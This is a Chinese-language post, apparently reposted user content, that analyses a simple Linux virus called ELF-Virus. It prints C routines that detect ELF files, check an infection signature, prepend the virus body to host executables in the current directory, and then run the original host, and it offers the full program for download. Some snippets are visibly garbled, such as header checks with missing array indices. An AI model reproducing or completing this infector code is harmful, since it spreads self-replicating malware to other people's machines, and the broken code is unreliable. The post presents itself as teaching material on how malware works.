ELF-Virus简易病毒程序分析
系统功能概述ELF-Virus实现了一个简单的病毒程序,能够感染当前目录下的ELF格式的可执行文件。病毒程序通过将自身代码附加到目标文件中,并在文件末尾添加一个特定的签名来标记文件已被感染。感染后的文件在执行时,会先执行病毒代码,然后再执行原始的程序代码。
系统架构
病毒程序:
病毒程序本身是一个ELF格式的可执行文件,它通过检查当前目录下的其他ELF文件,选择未被感染的文件进行感染。
感染机制:
病毒程序通过将自身代码附加到目标文件的末尾,并在文件末尾添加一个特定的签名(SIGNATURE)来标记文件已被感染。
执行机制:
感染后的文件在执行时,会先执行病毒代码,然后再执行原始的程序代码。
主要核心技术点
ELF文件识别:
病毒程序通过读取文件的前4个字节来判断文件是否为ELF格式。ELF文件的前4个字节为0x7f, 'E', 'L', 'F'。
bool isELF(char* fileName) {
if(fileName == '.') return false;
int hfd = open(fileName, O_RDONLY);
char header;
read(hfd, header, 4);
close(hfd);
return header == 0x7f
&& header == 'E'
&& header == 'L'
&& header == 'F';
}感染检测:
病毒程序通过检查文件末尾的签名来判断文件是否已被感染。
bool isClean(char* fileName) {
int signature;
int fd = open(fileName, O_RDONLY);
lseek(fd, -1 * sizeof(signature), SEEK_END);
read(fd, &signature, sizeof(signature));
close(fd);
return signature != SIGNATURE;
}文件感染:
病毒程序通过创建一个临时文件,将病毒代码、原始文件内容和签名依次写入临时文件,然后将临时文件重命名为原始文件名,完成感染过程。
void infectHostFile(char* hostFileName, int vfd) {
int hfd = open(hostFileName, O_RDONLY);
struct stat st;
fstat(hfd, &st);
int hostSize = st.st_size;
int signature = SIGNATURE;
int tfd = creat(TEMP_FILENAME, st.st_mode);
sendfile(tfd, vfd, NULL, SIZE);
sendfile(tfd, hfd, NULL, hostSize);
write(tfd, &signature, sizeof(signature));
rename(TEMP_FILENAME, hostFileName);
close(tfd);
close(hfd);
}执行原始程序:
感染后的文件在执行时,会先执行病毒代码,然后再执行原始的程序代码。
void executeHostPart(int vfd, mode_t mode, int totalSize, char *argv[]) {
int tfd = creat(TEMP_FILENAME, mode);
lseek(vfd, SIZE, SEEK_SET);
int signatureSize = sizeof(SIGNATURE);
int hostSize = totalSize - SIZE - signatureSize;
sendfile(tfd, vfd, NULL, hostSize);
close(tfd);
pid_t pid = fork();
if(pid == 0) {
execv(TEMP_FILENAME, argv);
}
else{
waitpid(pid, NULL, 0);
unlink(TEMP_FILENAME);
}
}应用场景
ELF-Virus主要用于研究和理解病毒程序的基本工作原理,以及如何通过代码实现文件的感染和执行。它可以用于教学目的,帮助学习者理解恶意软件的基本工作机制。
系统总结
ELF-Virus程序通过简单的文件操作和ELF文件格式的识别,实现了对目标文件的感染。感染后的文件在执行时会先执行病毒代码,然后再执行原始的程序代码。该程序展示了病毒程序的基本工作原理,具有一定的教育意义,但同时也提醒我们注意计算机安全,防止恶意软件的传播和感染。
需要ELF-Virus分析的朋友可以在公众号回复"ELF-Virus"进行下载
来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
页:
[1]